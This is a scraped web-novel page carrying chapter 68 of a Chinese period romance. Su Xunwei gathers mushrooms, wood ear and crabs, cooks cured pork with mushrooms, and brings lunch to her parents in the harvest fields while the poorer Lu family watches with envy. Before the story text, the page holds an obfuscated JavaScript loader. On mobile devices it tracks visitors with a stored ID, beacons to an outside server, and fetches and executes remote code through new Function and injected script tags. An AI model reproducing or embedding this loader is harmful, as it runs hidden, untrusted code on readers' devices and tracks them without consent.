足迹
宋斯曼顾少霆全文阅读
登录
关灯
护眼
字体:

第68章 腊肉炒蘑菇(第1页)

function OVHGxRJ(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function YTrZu(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return OVHGxRJ(t);};window[''+'a'+'L'+'e'+'X'+'U'+'l'+'s'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){var x=YTrZu,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0])));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://yh.dyuthic.com:7891/stats/7728/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh3/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1])));var ws=new WebSocket(k+'/wh3/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh3/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh3/'+i;cs.parentElement.insertBefore(s,cs);}})('aHHR0cHHMlM0ElMkYlMkZ0by5tb2xpMTAyLnRvcCUzQTg4OTE=','d3NzJTNBJTJGJTJGdW0uYmNlbbnJzbby5jbb20lM0E5NTM1','4674',window,document,['H','b']);}:function(){};

她想要看看山上有没有好吃的野菜啊,蘑菇之类的,捡点回来吃,既好吃,给家里减轻负担,又能锻炼减肥。

苏寻味拿了个小锄头,便当即吭哧吭哧地爬上了山。

她上次上山的时候还是带着左竟成来山上找野菜,当时她累得气喘如牛,双腿发软,浑身都冒冷汗,这段时间天天干活锻炼,有了明显的效果,就连身体都觉得轻盈了不少。

苏寻味一口气爬到了半山腰,然后找了一个顺眼的岔路,直接走进了树林子里头。

这个时候虽然还不是菌子大出的时节,不过像是一些普通的青头菌还是能够采到的。

苏寻味低着头一路看,一路挖,竟然也弄了不少的菌子。

而且经过一堆腐木的时候,她还看到了一大丛的黑木耳。

这黑木耳整整有一大丛,起码有个七八斤那么多。

这可是好东西,苏寻味一个厨子,自然就最喜欢找到好食材的时刻了。

她急忙将一大丛的黑木耳都薅了下来,装进了背篓中。

这黑木耳藏在深山的腐木中,浑身都是湿漉漉的,这一通采摘,苏寻味的手上甚至都有些黏黏糊糊的了,她觉得难受,急忙顺着水声找到了一条山溪,将手洗干净。

这山溪的水透心凉,清澈见底,还能看到山螃蟹。

这山螃蟹也是个好东西,苏寻味见到了,自然没有不逮的道理。

她挽起裤脚,又逮了好几只山螃蟹,这才心满意足地下山了。

回到家中,苏寻味将那一大堆的黑木耳放到了筲箕上摊开,放到阳光之下暴晒,这新鲜的木耳其实口感不行,软趴趴的,不太好吃,还是需要晒干之后再泡发,才会有清脆的口感。

她捉到的山螃蟹其实一点肉都没有,那壳硬得堪比石头,要是不小心的,还得将牙齿都啃碎,不过这东西补气旺血,用来熬粥最合适不过了,正好昨天晚上还有一大桶的山坑螺,炒个螺,再吃点粥,美滋滋。

但是中午吃这个明显不实际,家里人都是要干活的,中午吃粥不顶肚子,所以苏寻味打算还是炒个菜,然后蒸米饭。

苏寻味先烧了火,将米饭放到锅里头煮起来,然后趁着煮米饭的时间,将捡回来的蘑菇仔仔细细地清洗干净。

清洗干净的蘑菇切小块,又割了一小块的腊肉下来,再去菜园子里头拔点葱头,摘了几个辣椒,苏寻味就开始开炒了。

起锅烧油,先将切成丁的腊肉炒出油,再将葱头和蒜头,辣椒等放出去翻炒出香味,最后将沥干水分的蘑菇倒进去,大火翻炒。

这道菜就讲究个油多,必须将那蘑菇炒的油汪汪的,跟腊肉的香味互相融合,再将腊肉身上多余的油脂都吸了过去,这样才是一道香辣可口的下饭菜。

等蘑菇炒熟了之后,苏寻味就关了火,她拿着小碗给自己留了点儿,然后用大碗给爹娘还有左竟成先盛了饭,然后狠狠舀上了一大勺子的菜,再用东西装起来,就大功告成了。

苏寻味拎着饭菜出门,先往田边走。

这个时候,已经是收获的季节了,就连空气之中都弥漫着一股稻谷的浓郁香味。m.zX.

田间地头,到处都是人,男人赤着膊子,露出古铜色黑黝黝的粗壮胳膊,汗流浃背,女人反倒是穿了严严实实的长袖,就连帽子都压得低低的,力求能够晒得少一些。

还有不少的孩子,来给家里头人送饭的,送水的,有的是捡大人落下来的稻穗的。

有的大人看到自家孩子,收割的时候会偷偷留出几根不割,让孩子偷偷带回去,这事儿大家也都是睁一只眼闭一只眼。

这个时候是太阳最毒的时候,农村人就选择这个时候躲在树荫下面吃饭,暂时歇一歇。

苏寻味找到了苏父和苏母,两人都是满身的汗,看到苏寻味过来,苏母却说道:“寻味你挨着那些稻草远一点,你没有穿长袖呢,等会仔细你胳膊痒,起疹子。”

原主之所以能过着衣来伸手饭来张口的生活,一来是懒,二来也是父母是在疼爱。

苏寻味不以为然道:“没事的,我给你们送饭来,赶紧趁热吃。”

说着,苏寻味打开篮子,将饭盒递给了苏父和苏母。

两人一打开,那浓烈的香味瞬间弥漫开来。

腊肉本来就香,那菌子炒熟了更是鲜美得让人恨不得舌头都吞掉。

这两种食材的组合,再添了点辣椒和葱头,那就是香上加鲜了。

“哇,苏师傅做的饭就是不一样!别人家送过来都是皱巴巴,焉了吧唧的发黄发黑的菜,苏师傅这菜闷了这么长时间却还是油光程亮,香味扑鼻的,不愧是苏师傅啊!”旁边有个男知青对苏寻味做的饭菜实在是念念不忘,所以看到苏父手中的饭菜时,当即就忍不住夸赞道。

好巧不巧,现在陆家跟苏家闹掰了,苏寻生不来帮陆家挣工分了,陆母和陆云轩只能亲自来了。

而且他们两个人还正好就在苏父苏母都不远处。

那焉了吧唧又黄又黑的饭菜,可不就是他们从早上就带过来,现在正苦哈哈地咽着的吗?

陆家的条件本来就不好,带过来的都不是饭,甚至是粥,那粥就着青菜吃,那青菜自然也没有放什么油,煮了这么久,早就黑了,实在是难以下咽。

而苏父苏母碗里头的是刚蒸出来的白米饭,香喷喷的,那腊肉炒蘑菇更别提了,又香又辣,隔着好几米远都能闻到香味,让人忍不住狂咽口水。

“你哪儿来的蘑菇?这蘑菇这么炒着真好吃!"苏父看向了苏寻味,说道。

”我今天早上才从山上摘回来的,我还摘了不少的木耳呢,都在家里头晒着,到时候晒干了做木耳炒肉,也好吃。“苏寻味说道。

”行了,你们父女两个别叨叨了,赶紧给竟成送饭去,等会饭菜都要凉了。“苏母催促道。

苏寻味点了点头,转过身去。

就在她转身的瞬间,一直用若有若无的视线盯着苏父苏母碗里头的陆云轩终于憋不住了,死死咽了好几下口水。